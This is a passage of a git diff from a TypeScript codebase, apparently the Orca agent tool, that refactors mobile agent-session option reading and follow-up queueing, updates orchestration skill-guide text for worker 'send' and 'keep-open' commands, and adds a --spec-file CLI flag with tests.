'./mobile-structured-agent-session-rpc' import { forgetMobileCreatedStructuredSession } from './mobile-created-structured-sessions' -import { createCoalescingKeyedRunner } from '../../../src/shared/coalescing-keyed-runner' +import { createStructuredAgentSessionOptionsReadOwner } from '../../../src/shared/structured-agent-session-options-read-owner' import type { RpcClient } from '../transport/rpc-client' import type { AgentSessionOptionCatalog } from '../../../src/shared/agent-session-option-catalog' import { usesInstalledAgentModelCatalog } from '../../../src/shared/agent-model-catalog-ownership' -import { cloneStructuredAgentSessionOptionRecord } from '../../../src/shared/structured-agent-session-option-state' -import { - createStructuredAgentSessionOptionState, - applyStructuredAgentSessionOptions, - applyStructuredAgentSessionModelCatalog, - settleStructuredAgentSessionBuiltinCatalog, - type StructuredAgentSessionOptionState -} from '../../../src/shared/structured-agent-session-options' +import { createStructuredAgentSessionOptionState } from '../../../src/shared/structured-agent-session-options' export function useMobileStructuredOptionState(args: { client: RpcClient | null @@ -67,31 +56,25 @@ export function useMobileStructuredOptionState(args: { const projectPermission = (state: T): T => projectRuntimePermission(state, summary, fence) const coherentCatalog = usesInstalledAgentModelCatalog(agent ?? '', hostCoherentCatalog) - const [optionState, setOptionState] = useState(() => - createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog) + const [reader] = useState(() => + createStructuredAgentSessionOptionsReadOwner( + createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog) + ) ) - const optionStateRef = useRef(optionState) - const activeOptionRecordRef = useRef(optionState.record) - const readEpoch = useRef(0) - const readRef = useRef<(() => void) | null>(null) - const reread = useCallback(() => { - readEpoch.current += 1 - readRef.current?.() - }, []) + const { optionState, support } = useSyncExternalStore(reader.subscribe, reader.getSnapshot) + const { + optionStateRef, + activeOptionRecordRef, + updateOptionState, + receiveCatalog, + invalidate: reread + } = reader const { controller, clientGeneration } = useMobileStructuredSelectionController({ agent, client, sessionId, onRevalidate: reread }) - const updateOptionState = useCallback( - (update: (current: StructuredAgentSessionOptionState) => StructuredAgentSessionOptionState) => { - const next = update(optionStateRef.current) - optionStateRef.current = next - setOptionState(next) - }, - [] - ) const contextKey = JSON.stringify([agent, sessionId, newLaunch, worktree, fence, connected]) const contextRef = useRef({ key: contextKey, client }) useEffect(() => { @@ -101,151 +84,88 @@ export function useMobileStructuredOptionState(args: { () => contextRef.current.key === contextKey && contextRef.current.client === client, [contextKey, client] ) - const optionIdentityRef = useRef({ agent, sessionId, client, controller }) - useEffect(() => { - const previousIdentity = optionIdentityRef.current - const sameSession = - previousIdentity.agent === agent && - previousIdentity.sessionId === sessionId && - previousIdentity.client === client && - previousIdentity.controller === controller - optionIdentityRef.current = { agent, sessionId, client, controller } - const previous = optionStateRef.current - const seeded = createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog) - // Retain account answers across fence changes instead of reviving placeholders. - const kept = - sameSession && - (previous.optionsAnswerPresent || - (previous.catalogSource !== 'seed' && previous.catalogSource !== null)) + // Projected once per accepted answer so consumers keep stable references between answers. + const { conversationSupport, imageSupport } = useMemo( + () => + support && support.sessionId !== null ? { - ...previous, - record: cloneStructuredAgentSessionOptionRecord(previous.record), - pendingId: null, - reportedPermissionMode: undefined, - reportedEffort: undefined + conversationSupport: { + sessionId: support.sessionId, + fence: support.fence, + commands: support.result.conversationCommands ?? [] + }, + imageSupport: { + sessionId: support.sessionId, + acceptsImages: support.result.acceptsImages, + statesPermissionMode: support.result.current?.permissionMode !== undefined + } } - : seeded - // Keep the chat’s mode visible through provider restarts. - const next = sameSession ? { ...kept, permissionMode: previous.permissionMode } : kept - readEpoch.current += 1 - optionStateRef.current = next - activeOptionRecordRef.current = next.record - setOptionState(next) - }, [ - agent, - enabled, - fence, - optionCatalog, - sessionId, - contextKey, - client, - clientGeneration, - controller - ]) - - const [conversationSupport, setConversationSupport] = useState<{ - sessionId: string - commands: readonly AgentSessionConversationCommand[] - fence: number | null - } | null>(null) - const [imageSupport, setImageSupport] = useState<{ - sessionId: string - acceptsImages: boolean | undefined - statesPermissionMode: boolean - } | null>(null) - + : { conversationSupport: null, imageSupport: null }, + [support] + ) const awaitingOptions = conversationSupport?.sessionId === sessionId && conversationSupport.fence !== fence - - const receiveCatalog = ( - catalog: AgentSessionModelCatalogResult | null, - _event: 'demand' | 'progress' | 'settled' - ) => { - updateOptionState((current) => - catalog && optionCatalog - ? applyStructuredAgentSessionModelCatalog(current, optionCatalog, catalog, { - newLaunch, - coherentCatalog + useEffect( + () => + reader.attach({ + owner: [agent, sessionId, client, controller], + reset: [contextKey, clientGeneration, enabled, optionCatalog], + sessionId, + fence, + seed: () => createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog), + controller, + eligible: + !!client && + !!sessionId && + enabled && + !!optionCatalog && + (!providerStarting || !newLaunch || !!sendSelection), + optionCatalog, + newLaunch, + coherentCatalog, + authority: () => client?.getGeneration?.(), + isCurrent: isCurrentContext, + request: () => { + if (!client || !sessionId) { + throw new Error('Options reader is not attached') + } + return callAgentSession(client, 'agentSession.options', { + sessionId }) - : settleStructuredAgentSessionBuiltinCatalog(current, false) - ) - if (!coherentCatalog && catalog && catalog.origin !== 'unknown' && !catalog.listingInProgress) { - readRef.current?.() - } - } + }, + accepted: () => { + if (sessionId) { + forgetMobileCreatedStructuredSession(sessionId) + } + } + }), + [ + reader, + agent, + sessionId, + client, + controller, + contextKey, + clientGeneration, + enabled, + optionCatalog, + fence, + newLaunch, + coherentCatalog, + providerStarting, + sendSelection, + isCurrentContext + ] + ) + // A turn or host status change rereads within the same lease, as on desktop; it is not a new context. + const readStamp = JSON.stringify([optionStamp, turnId]) + const seenReadStamp = useRef(readStamp) useEffect(() => { - // Read each turn and after provider start; before start only a resumed chat has model evidence. - if ( - !client || - !sessionId || - !enabled || - !optionCatalog || - (providerStarting && newLaunch && !sendSelection) - ) { - return + if (seenReadStamp.current !== readStamp) { + seenReadStamp.current = readStamp + reread() } - let stale = false - const run = createCoalescingKeyedRunner() - const request = () => { - void run('options', 'latest', async () => { - if (stale || !isCurrentContext()) { - return - } - const record = activeOptionRecordRef.current - const epoch = readEpoch.current - const generation = client.getGeneration?.() - const completed = controller.captureRead() - const result = await callAgentSession( - client, - 'agentSession.options', - { sessionId } - ) - if (stale || !isCurrentContext() || activeOptionRecordRef.current !== record) { - return - } - // Latch for this view; a later view may run the model selected here. - forgetMobileCreatedStructuredSession(sessionId) - setImageSupport({ - sessionId, - acceptsImages: result.acceptsImages, - statesPermissionMode: result.current?.permissionMode !== undefined - }) - if (readEpoch.current !== epoch || client.getGeneration?.() !== generation) { - return - } - setConversationSupport({ sessionId, fence, commands: result.conversationCommands ?? [] }) - updateOptionState((current) => - applyStructuredAgentSessionOptions(current, optionCatalog, result, { - newLaunch, - coherentCatalog - }) - ) - controller.retire(completed) - }).catch(() => undefined) - } - readRef.current = request - request() - return () => { - stale = true - readRef.current = null - } - }, [ - client, - clientGeneration, - newLaunch, - enabled, - optionCatalog, - optionStamp, - sendSelection, - controller, - isCurrentContext, - coherentCatalog, - providerStarting, - sessionId, - fence, - turnId, - updateOptionState - ]) + }, [readStamp, reread]) return { projectPermission, diff --git a/mobile/src/session/use-mobile-structured-send-with-outcome.ts b/mobile/src/session/use-mobile-structured-send-with-outcome.ts index 0de5ab7453f..6f4ce056d0a 100644 --- a/mobile/src/session/use-mobile-structured-send-with-outcome.ts +++ b/mobile/src/session/use-mobile-structured-send-with-outcome.ts @@ -2,6 +2,7 @@ import { selectAgentSessionCurrentRequests } from '../../../src/shared/agent-ses import { useCallback } from 'react' import { runningStructuredAgentSessionTurnId } from '../../../src/shared/structured-agent-session-live-turn' +import { mobileStructuredAgentSessionWorking } from './mobile-structured-agent-session-working' import { structuredSessionBackgroundTasksView } from '../../../src/shared/structured-session-background-tasks-view' import { agentSessionVisibleFailureFacts } from '../../../src/shared/agent-session-visible-failures' import { tuiAgentDisplayName } from '../../../src/shared/tui-agent-display-names' @@ -17,9 +18,15 @@ import { MAX_SKILL_REFS } from '../../../src/shared/rpc-contract/structured-agen import type { StructuredAgentSessionComposerOptions } from '../../../src/shared/structured-agent-session-composer' import type { AgentSessionSlashCommand } from '../../../src/shared/agent-session-wire' import type { StructuredAgentSessionState } from '../../../src/shared/structured-agent-session-reducer' -import { structuredAgentSessionQueueEnabled } from '../../../src/shared/structured-agent-session-queued-cards' +import { + structuredAgentSessionFollowUpsQueue, + structuredAgentSessionQueueEnabled +} from '../../../src/shared/structured-agent-session-queued-cards' import type { RpcClient } from '../transport/rpc-client' -import type { MobileNativeChatSendOutcome } from './native-chat/mobile-native-chat-send' +import type { + MobileNativeChatSendIntent, + MobileNativeChatSendOutcome +} from './native-chat/mobile-native-chat-send' import { dispatchMobileStructuredCommand } from './mobile-structured-composer-command' import type { MobileNativeChatSendErrorReporter } from './native-chat/use-mobile-native-chat-send-error' import { sendMobileStructuredAgentSessionMessage } from './mobile-structured-agent-session-send' @@ -33,15 +40,20 @@ import { actionableStructuredQuestion } from './mobile-structured-actionable-prompt' +/** The desktop's rule: the alternate flips the setting first, then the queue's own rules decide. */ export function mobileStructuredSendQueues( queueCapable: boolean, queueFollowUps: boolean, - state: Pick + state: Pick, + send: { alternate?: boolean; isWorking: boolean; stopping: boolean } = { + isWorking: false, + stopping: false + } ): boolean { return ( queueCapable && structuredAgentSessionQueueEnabled( - queueFollowUps, + structuredAgentSessionFollowUpsQueue(queueFollowUps, send), state, selectAgentSessionCurrentRequests(state) ) @@ -86,7 +98,8 @@ export function useMobileStructuredSendWithOutcome(args: { images?: string[], deadline?: number, attachments?: readonly StructuredMobileSendAttachment[], - skills?: readonly AgentJournalSkillRef[] + skills?: readonly AgentJournalSkillRef[], + intent?: MobileNativeChatSendIntent ) => Promise { const { accept, @@ -116,7 +129,8 @@ export function useMobileStructuredSendWithOutcome(args: { images?: string[], deadline?: number, attachments?: readonly StructuredMobileSendAttachment[], - pickedSkills?: readonly AgentJournalSkillRef[] + pickedSkills?: readonly AgentJournalSkillRef[], + intent?: MobileNativeChatSendIntent ): Promise => { const currentFence = stateRef.current.fence if (!client || !sessionId || !enabled || currentFence === null) { @@ -148,7 +162,7 @@ export function useMobileStructuredSendWithOutcome(args: { const turnId = runningStructuredAgentSessionTurnId(state) const tasks = structuredSessionBackgroundTasksView(state.backgroundTasks, turnId) return { - working: turnId !== null || queueSendsNext, + working: mobileStructuredAgentSessionWorking(state) || queueSendsNext, prompt: Boolean( actionableStructuredApproval(state) || actionableStructuredQuestion(state) ), @@ -207,7 +221,12 @@ export function useMobileStructuredSendWithOutcome(args: { text: wireText, attachments: imageAttachments, skills, - ...(mobileStructuredSendQueues(queueCapable, queueFollowUps, stateRef.current) + // Resolved from the chat as it is now: a hold-menu choice made mid-turn may land after it. + ...(mobileStructuredSendQueues(queueCapable, queueFollowUps, stateRef.current, { + alternate: intent?.alternate, + isWorking: mobileStructuredAgentSessionWorking(stateRef.current) || queueSendsNext, + stopping + }) ? { delivery: 'queue-if-active' as const } : {}), ...captured, diff --git a/mobile/src/session/use-mobile-structured-sends.test.tsx b/mobile/src/session/use-mobile-structured-sends.test.tsx index 781ed76c7a7..dde7e107eaa 100644 --- a/mobile/src/session/use-mobile-structured-sends.test.tsx +++ b/mobile/src/session/use-mobile-structured-sends.test.tsx @@ -64,7 +64,9 @@ describe('a structured send in the open chat', () => { const client: RpcClient = { sendRequest, subscribe: vi.fn((_method, _params, onData) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return vi.fn() }), updateTerminalSubscriptionViewport: () => {}, diff --git a/mobile/src/session/use-mobile-structured-turn-indicator.test.tsx b/mobile/src/session/use-mobile-structured-turn-indicator.test.tsx index b0822655eb0..c17a6c40595 100644 --- a/mobile/src/session/use-mobile-structured-turn-indicator.test.tsx +++ b/mobile/src/session/use-mobile-structured-turn-indicator.test.tsx @@ -44,7 +44,9 @@ describe('useMobileStructuredAgentSession turn indicator', () => { _meta: { runtimeId: 'r1' } })) const subscribe = vi.fn((_method: string, _params: unknown, onData: (value: unknown) => void) => { - listener = onData + if (_method === 'agentSession.subscribe') { + listener = onData + } return vi.fn() }) const client: RpcClient = { diff --git a/mobile/src/session/use-mobile-structured-turn-indicator.ts b/mobile/src/session/use-mobile-structured-turn-indicator.ts index 272209db5e8..f1c9d7f808b 100644 --- a/mobile/src/session/use-mobile-structured-turn-indicator.ts +++ b/mobile/src/session/use-mobile-structured-turn-indicator.ts @@ -5,6 +5,10 @@ import { isStructuredAgentSessionThinking } from '../../../src/shared/structured import { selectStructuredAgentTurnActivity } from '../../../src/shared/native-chat/transcript/native-chat-turn-activity' import { agentStopDisplayStatus } from '../../../src/shared/agent-stop-display-status' import { mobileStructuredSendQueues } from './use-mobile-structured-send-with-outcome' +import { + nativeChatSendFollowUp, + type NativeChatSendFollowUp +} from '../../../src/shared/native-chat-follow-up-behavior' export function useMobileStructuredTurnIndicator(input: { state: StructuredAgentSessionState @@ -16,7 +20,12 @@ export function useMobileStructuredTurnIndicator(input: { stopPressed: boolean queueCapable: boolean queueFollowUps: boolean -}): NativeChatLiveTurnIndicator & { stopping: boolean } { + /** The send's own working test counts a queued card about to send. */ + queueSendsNext: boolean +}): NativeChatLiveTurnIndicator & { + stopping: boolean + sendFollowUp?: NativeChatSendFollowUp +} { const { state, turnId, hostStopping, stopPressed, queueCapable, queueFollowUps } = input const activityText = useMemo( () => selectStructuredAgentTurnActivity(state.items, turnId, state.activity)?.text ?? null, @@ -31,14 +40,38 @@ export function useMobileStructuredTurnIndicator(input: { ? ('queue' as const) : ('send' as const) : undefined + const isWorking = input.isWorking || input.queueSendsNext + const sendFollowUp = + queueCapable && working && !stopping + ? nativeChatSendFollowUp((alternate) => + mobileStructuredSendQueues(queueCapable, queueFollowUps, state, { + alternate, + isWorking, + stopping + }) + ) + : null + const followUpAction = sendFollowUp?.action + const followUpOffersChoice = sendFollowUp?.offersChoice === true return useMemo( () => ({ thinking, activityText, stopping, stopRequestInFlight, + ...(followUpAction + ? { sendFollowUp: { action: followUpAction, offersChoice: followUpOffersChoice } } + : {}), ...(afterStop ? { afterStop } : {}) }), - [thinking, activityText, stopping, stopRequestInFlight, afterStop] + [ + thinking, + activityText, + stopping, + stopRequestInFlight, + followUpAction, + followUpOffersChoice, + afterStop + ] ) } diff --git a/mobile/src/transport/settings-read-operations.test.ts b/mobile/src/transport/settings-read-operations.test.ts index b0731eefb0d..b0e8a9ec02f 100644 --- a/mobile/src/transport/settings-read-operations.test.ts +++ b/mobile/src/transport/settings-read-operations.test.ts @@ -6,6 +6,7 @@ import { markRpcDeliveryUnknown, isRpcDeliveryUnknown } from './rpc-delivery-amb import { LogicalClientCutoverError, isLogicalClientCutoverError } from './stable-logical-rpc-client' import { settingsRead, + nativeChatQueueFollowUpsRead, optionalSettingsRead, botOverridesRead, newTabSettingsRead, @@ -50,6 +51,29 @@ async function drain() { } describe('settings historical acceptance', () => { + it.each([ + undefined, + null, + {}, + { nativeChatQueueFollowUps: true }, + { nativeChatQueueFollowUps: false }, + { nativeChatQueueFollowUps: 'false' } + ])( + 'reads the existing queue boolean without treating false as missing (%j)', + async (settings) => { + const response = await nativeChatQueueFollowUpsRead.request(replyWith(success({ settings }))) + expect(nativeChatQueueFollowUpsRead.interpret(response)).toEqual({ + accepted: true, + value: settings?.nativeChatQueueFollowUps !== false + }) + expect( + nativeChatQueueFollowUpsRead.interpret( + await nativeChatQueueFollowUpsRead.request(replyWith(refusal())) + ) + ).toEqual({ accepted: false }) + } + ) + it('distinguishes a skipped refusal from an accepted absent settings member', async () => { const skipped = await settingsRead.request(replyWith(refusal())) const missing = await settingsRead.request(replyWith(success({}))) diff --git a/mobile/src/transport/settings-read-operations.ts b/mobile/src/transport/settings-read-operations.ts index 6f43c226342..c51c91470c7 100644 --- a/mobile/src/transport/settings-read-operations.ts +++ b/mobile/src/transport/settings-read-operations.ts @@ -2,6 +2,7 @@ import { bindDeferredRpcOperation, defineRpcOperation } from './rpc-operation' import type { RpcCompatibleReader } from './rpc-operation-contract' import { normalizeSourceControlGroupOrder } from '../../../src/shared/source-control-group-order' import type { SourceControlGroupOrder } from '../../../src/shared/ui-chrome-types' +import { nativeChatQueueFollowUps } from '../../../src/shared/native-chat-follow-up-behavior' function settingsMember(raw: unknown): unknown { const boxed: { readonly settings?: unknown } | null | undefined = raw == null ? raw : Object(raw) @@ -117,13 +118,29 @@ export const terminalCopyTrimsGutterRead = bindDeferredRpcOperation( }) ) +// Absent settings default ON; delivery still depends on host capability. +const followUpBehaviorReader: RpcCompatibleReader = ( + raw +) => { + const settings = raw == null ? undefined : settingsMember(raw) + return { + compatible: true, + variant: 'follow-up-behavior', + value: nativeChatQueueFollowUps({ + nativeChatQueueFollowUps: + settings == null ? undefined : settingsField(settings, 'nativeChatQueueFollowUps') + }), + salvage: { droppedPaths: [], droppedCount: 0 } + } +} + export const nativeChatQueueFollowUpsRead = bindDeferredRpcOperation( defineRpcOperation({ - name: 'settings.native-chat-queue-follow-ups-or-skip', + name: 'settings.native-chat-follow-up-behavior-or-skip', method: 'settings.get', acceptance: 'success-result-or-skip', barrier: 'after-caller-barrier', - read: onByDefaultSettingReader('nativeChatQueueFollowUps', 'queue-follow-ups') + read: followUpBehaviorReader }) ) diff --git a/skill-guides/orchestration.md b/skill-guides/orchestration.md index 68d12af9e51..a3e3e628333 100644 --- a/skill-guides/orchestration.md +++ b/skill-guides/orchestration.md @@ -42,8 +42,13 @@ ORCA orchestration worker-start --spec "" --worktree current --agent codex - Add `--model` only if the user named one. - If `worker-start` fails, do not rerun it; read `failedStage` and load `references/recovery-and-cleanup.md`. -- To steer a worker, use - `ORCA orchestration send --to dispatch: --subject "" --body ""`. +- To talk to a worker, use + `ORCA orchestration send --to dispatch: --subject "" --body ""` + in any state: a working worker reads it now; a finished or closed one gets it + as a follow-up Task and reports with `worker_done`. The receipt says which. + Except on a paired server: a finished worker there refuses `send`, so start + new work there with `worker-start --on ` (load + `references/placement-and-remote.md` first). Never: @@ -65,8 +70,9 @@ Never: - Lost track? `ORCA orchestration inbox --terminal run: --limit 50` shows mail `check` already handled. -Finished workers close on their own unless the user chose Keep open. To keep one -for a follow-up, run `ORCA orchestration worker-retain --dispatch `. +Finished workers close on their own; `send` reopens one when you need it again. +If the user wants to watch a worker, start it with `--keep-open`; to keep one +already started, run `ORCA orchestration worker-keep-open --dispatch `. If `worker-list` shows no `autoReleaseAt` for a finished worker, release it yourself. ## Task spec @@ -92,7 +98,7 @@ assignment does not prove its agent stopped. | Situation | Reference | | ---------------------------------------------- | ----------------------------------------- | -| Task DAGs, several Runs, reusing a worker | `references/coordinator-loop.md` | +| Task DAGs, several Runs | `references/coordinator-loop.md` | | Child worktrees, SSH, WSL, a connected server | `references/placement-and-remote.md` | | Group messages, inbox scripts | `references/messaging-and-gates.md` | | A failed or unknown worker; retry, stop, reset | `references/recovery-and-cleanup.md` | diff --git a/skill-guides/orchestration/references/coordinator-loop.md b/skill-guides/orchestration/references/coordinator-loop.md index efdba6e54ac..c94372dd376 100644 --- a/skill-guides/orchestration/references/coordinator-loop.md +++ b/skill-guides/orchestration/references/coordinator-loop.md @@ -19,14 +19,3 @@ On every wake, start the Tasks `task-list --ready` shows. A later `run-create` keeps your earlier Runs: their mail still wakes you, but commands without `--run` use the newest Run, so pass `--run ` for an earlier one. `run-use` keeps only the Run it names. - -## Reusing a worker - -To give a finished worker follow-up work, create the Task, then start it on the -`terminal` and `workspace` from that worker's `worker-start` receipt or -`worker-list` row: - -```text -ORCA orchestration task-create --spec "" -ORCA orchestration worker-start --task --terminal --worktree -``` diff --git a/skill-guides/orchestration/references/low-level-topology.md b/skill-guides/orchestration/references/low-level-topology.md index 34c1b55be0f..27a969f0858 100644 --- a/skill-guides/orchestration/references/low-level-topology.md +++ b/skill-guides/orchestration/references/low-level-topology.md @@ -5,3 +5,9 @@ ORCA terminal create --worktree active --title --command " --for tui-idle --timeout-ms 60000 --json ORCA orchestration dispatch --task --to --inject ``` + +To give a Task to a terminal or chat Orca did not start: + +```text +ORCA orchestration worker-start --task --terminal --worktree --json +``` diff --git a/skill-guides/orchestration/references/recovery-and-cleanup.md b/skill-guides/orchestration/references/recovery-and-cleanup.md index 2eaf81aea83..42519c0f9ef 100644 --- a/skill-guides/orchestration/references/recovery-and-cleanup.md +++ b/skill-guides/orchestration/references/recovery-and-cleanup.md @@ -55,9 +55,10 @@ An already-failed start can still own a live terminal; stop/abandon does not clo it. For reclaimable failed-start terminals you are replacing, use `ORCA orchestration worker-release --dispatch `; follow the receipt's exact recovery action for `release_pending` or `release_unknown`, never -`terminal close`. Preserve the selected proven reusable agent with `worker-retain` -by its Dispatch ID; preserve user-taken-over and unproven terminals. A fresh start -without `--retry-of` does not clean up its predecessor's terminal. +`terminal close`. Preserve the selected proven reusable agent with +`worker-keep-open` by its Dispatch ID; preserve user-taken-over and unproven +terminals. A fresh start without `--retry-of` does not clean up its +predecessor's terminal. Reopen and start the same Task in its owning Run: diff --git a/src/cli/bundled-skill-guides.ts b/src/cli/bundled-skill-guides.ts index 9345e070437..f7cdf09263c 100644 --- a/src/cli/bundled-skill-guides.ts +++ b/src/cli/bundled-skill-guides.ts @@ -2520,8 +2520,13 @@ const ORCHESTRATION_MARKDOWN = [ "- Add `--model` only if the user named one.", "- If `worker-start` fails, do not rerun it; read `failedStage` and load", " `references/recovery-and-cleanup.md`.", - "- To steer a worker, use", - " `ORCA orchestration send --to dispatch: --subject \"\" --body \"\"`.", + "- To talk to a worker, use", + " `ORCA orchestration send --to dispatch: --subject \"\" --body \"\"`", + " in any state: a working worker reads it now; a finished or closed one gets it", + " as a follow-up Task and reports with `worker_done`. The receipt says which.", + " Except on a paired server: a finished worker there refuses `send`, so start", + " new work there with `worker-start --on ` (load", + " `references/placement-and-remote.md` first).", "", "Never:", "", @@ -2543,8 +2548,9 @@ const ORCHESTRATION_MARKDOWN = [ "- Lost track? `ORCA orchestration inbox --terminal run: --limit 50`", " shows mail `check` already handled.", "", - "Finished workers close on their own unless the user chose Keep open. To keep one", - "for a follow-up, run `ORCA orchestration worker-retain --dispatch `.", + "Finished workers close on their own; `send` reopens one when you need it again.", + "If the user wants to watch a worker, start it with `--keep-open`; to keep one", + "already started, run `ORCA orchestration worker-keep-open --dispatch `.", "If `worker-list` shows no `autoReleaseAt` for a finished worker, release it yourself.", "", "## Task spec", @@ -2570,7 +2576,7 @@ const ORCHESTRATION_MARKDOWN = [ "", "| Situation | Reference |", "| ---------------------------------------------- | ----------------------------------------- |", - "| Task DAGs, several Runs, reusing a worker | `references/coordinator-loop.md` |", + "| Task DAGs, several Runs | `references/coordinator-loop.md` |", "| Child worktrees, SSH, WSL, a connected server | `references/placement-and-remote.md` |", "| Group messages, inbox scripts | `references/messaging-and-gates.md` |", "| A failed or unknown worker; retry, stop, reset | `references/recovery-and-cleanup.md` |", @@ -2603,17 +2609,6 @@ const ORCHESTRATION_COORDINATOR_LOOP_REFERENCE_MARKDOWN = [ "commands without `--run` use the newest Run, so pass `--run ` for an earlier", "one. `run-use` keeps only the Run it names.", "", - "## Reusing a worker", - "", - "To give a finished worker follow-up work, create the Task, then start it on the", - "`terminal` and `workspace` from that worker's `worker-start` receipt or", - "`worker-list` row:", - "", - "```text", - "ORCA orchestration task-create --spec \"\"", - "ORCA orchestration worker-start --task --terminal --worktree ", - "```", - "", ].join('\n') // oxfmt-ignore @@ -2645,6 +2640,12 @@ const ORCHESTRATION_LOW_LEVEL_TOPOLOGY_REFERENCE_MARKDOWN = [ "ORCA orchestration dispatch --task --to --inject", "```", "", + "To give a Task to a terminal or chat Orca did not start:", + "", + "```text", + "ORCA orchestration worker-start --task --terminal --worktree --json", + "```", + "", ].join('\n') // oxfmt-ignore @@ -2742,9 +2743,10 @@ const ORCHESTRATION_RECOVERY_AND_CLEANUP_REFERENCE_MARKDOWN = [ "it. For reclaimable failed-start terminals you are replacing, use", "`ORCA orchestration worker-release --dispatch `; follow the", "receipt's exact recovery action for `release_pending` or `release_unknown`, never", - "`terminal close`. Preserve the selected proven reusable agent with `worker-retain`", - "by its Dispatch ID; preserve user-taken-over and unproven terminals. A fresh start", - "without `--retry-of` does not clean up its predecessor's terminal.", + "`terminal close`. Preserve the selected proven reusable agent with", + "`worker-keep-open` by its Dispatch ID; preserve user-taken-over and unproven", + "terminals. A fresh start without `--retry-of` does not clean up its", + "predecessor's terminal.", "", "Reopen and start the same Task in its owning Run:", "", diff --git a/src/cli/command-body-input.test.ts b/src/cli/command-body-input.test.ts new file mode 100644 index 00000000000..36abf50c76c --- /dev/null +++ b/src/cli/command-body-input.test.ts @@ -0,0 +1,56 @@ +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, describe, expect, it } from 'vitest' +import { readTextOrFileFlag } from './command-body-input' + +const SPEC = 'Run `pnpm test` and say "done" when it\'s $HOME-free' + +describe('readTextOrFileFlag', () => { + let dir: string | undefined + let restoreStdin: (() => void) | undefined + + afterEach(() => { + restoreStdin?.() + restoreStdin = undefined + if (dir) { + rmSync(dir, { recursive: true, force: true }) + dir = undefined + } + }) + + it('reads the file relative to the caller cwd without shell interpretation', async () => { + dir = mkdtempSync(join(tmpdir(), 'orca-spec-file-')) + writeFileSync(join(dir, 'spec.md'), SPEC) + const flags = new Map([['spec-file', 'spec.md']]) + await expect(readTextOrFileFlag(flags, dir, 'spec', true)).resolves.toBe(SPEC) + }) + + it('reads stdin for -', async () => { + const stdin = process.stdin + const previousIsTTY = stdin.isTTY + Object.defineProperty(stdin, 'isTTY', { configurable: true, value: false }) + Object.defineProperty(stdin, Symbol.asyncIterator, { + configurable: true, + value: async function* () { + yield SPEC + } + }) + restoreStdin = () => { + Object.defineProperty(stdin, 'isTTY', { configurable: true, value: previousIsTTY }) + Reflect.deleteProperty(stdin, Symbol.asyncIterator) + } + const flags = new Map([['spec-file', '-']]) + await expect(readTextOrFileFlag(flags, '/', 'spec', true)).resolves.toBe(SPEC) + }) + + it('refuses the text and file flags together', async () => { + const flags = new Map([ + ['spec', 'inline'], + ['spec-file', 'spec.md'] + ]) + await expect(readTextOrFileFlag(flags, '/', 'spec', false)).rejects.toThrow( + 'Use either --spec or --spec-file, not both' + ) + }) +}) diff --git a/src/cli/command-body-input.ts b/src/cli/command-body-input.ts index 9c200dcb6ae..edcb03bb537 100644 --- a/src/cli/command-body-input.ts +++ b/src/cli/command-body-input.ts @@ -25,21 +25,8 @@ export async function readCommandBody( cwd: string, options: BodyOptions ): Promise { - const hasBody = flags.has('body') - const hasBodyFile = flags.has('body-file') - if (hasBody && hasBodyFile) { - throw new RuntimeClientError('invalid_argument', 'Use either --body or --body-file, not both') - } - if (!hasBody && !hasBodyFile) { - if (options.required) { - throw new RuntimeClientError('invalid_argument', 'Missing --body or --body-file') - } - return undefined - } - const body = hasBody - ? getRequiredStringFlagAllowingEmpty(flags, 'body') - : await readBodyFile(getRequiredStringFlag(flags, 'body-file'), cwd) - if (body.length > options.maximumCharacters) { + const body = await readTextOrFileFlag(flags, cwd, 'body', options.required) + if (body !== undefined && body.length > options.maximumCharacters) { throw new RuntimeClientError( options.tooLargeCode, `${options.label} must be at most ${options.maximumCharacters} characters` @@ -48,6 +35,33 @@ export async function readCommandBody( return body } +/** Reads `-- ` or `---file `, refusing both. */ +export async function readTextOrFileFlag( + flags: Map, + cwd: string, + flag: string, + required: boolean +): Promise { + const fileFlag = `${flag}-file` + const hasText = flags.has(flag) + const hasFile = flags.has(fileFlag) + if (hasText && hasFile) { + throw new RuntimeClientError( + 'invalid_argument', + `Use either --${flag} or --${fileFlag}, not both` + ) + } + if (!hasText && !hasFile) { + if (required) { + throw new RuntimeClientError('invalid_argument', `Missing --${flag} or --${fileFlag}`) + } + return undefined + } + return hasText + ? getRequiredStringFlagAllowingEmpty(flags, flag) + : readBodyFile(getRequiredStringFlag(flags, fileFlag), cwd) +} + async function readBodyFile(path: string, cwd: string): Promise { if (path !== '-') { return readFile(isAbsolute(path) ? path : join(cwd, path), 'utf8') diff --git a/src/cli/flag-help-text.ts b/src/cli/flag-help-text.ts index b98bf48be98..fbbd7914a99 100644 --- a/src/cli/flag-help-text.ts +++ b/src/cli/flag-help-text.ts @@ -30,6 +30,8 @@ export const FLAG_HELP_TEXT: Record = { help: '--help Show this help message', 'include-visual-layouts': '--include-visual-layouts Include tab and pane topology in JSON output', interrupt: '--interrupt Send as an interrupt-style input when supported', + 'keep-open': '--keep-open Keep the worker open after it finishes', + 'spec-file': '--spec-file Read the spec from a file or stdin', id: '--id Identifier for a target item or permission', issue: '--issue Linked GitHub issue number', 'gitlab-issue': diff --git a/src/cli/handler-group-manifest.ts b/src/cli/handler-group-manifest.ts index bd7674739e7..9bc54fd61d1 100644 --- a/src/cli/handler-group-manifest.ts +++ b/src/cli/handler-group-manifest.ts @@ -144,6 +144,7 @@ export const HANDLER_GROUPS: readonly HandlerGroup[] = [ 'orchestration worker-stop', 'orchestration worker-abandon', 'orchestration worker-release', + 'orchestration worker-keep-open', 'orchestration worker-retain', 'orchestration worker-list', 'orchestration dispatch', diff --git a/src/cli/handlers/orchestration-gate-cli.test.ts b/src/cli/handlers/orchestration-gate-cli.test.ts index 83466b3278f..b7b30f1cfe2 100644 --- a/src/cli/handlers/orchestration-gate-cli.test.ts +++ b/src/cli/handlers/orchestration-gate-cli.test.ts @@ -172,7 +172,17 @@ describe('orchestration gate commands carry caller identity', () => { queueFixtures( callMock, okFixture('req_list', { - gates: [{ id: 'gate_1', task_id: 'task_1', question: 'ship?', status: 'pending' }], + gates: [ + { + id: 'gate_1', + task_id: 'task_1', + question: 'ship?', + options: '["yes","no"]', + status: 'pending', + resolution: null, + created_at: 